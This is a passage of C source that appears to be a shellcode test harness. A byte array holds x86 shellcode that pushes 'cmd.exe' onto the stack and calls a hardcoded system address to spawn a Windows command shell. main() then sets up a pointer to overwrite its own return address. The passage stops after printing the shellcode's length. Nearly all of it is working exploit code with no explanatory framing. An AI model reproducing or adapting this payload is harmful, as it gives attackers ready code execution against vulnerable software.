#include <stdio.h>
unsigned char shellcode[] =
"\x8b\xec\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e"
"\x8d\x45\xf8\x50\xb8\x8D"
"\x15\x86\x7C\xff\xd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));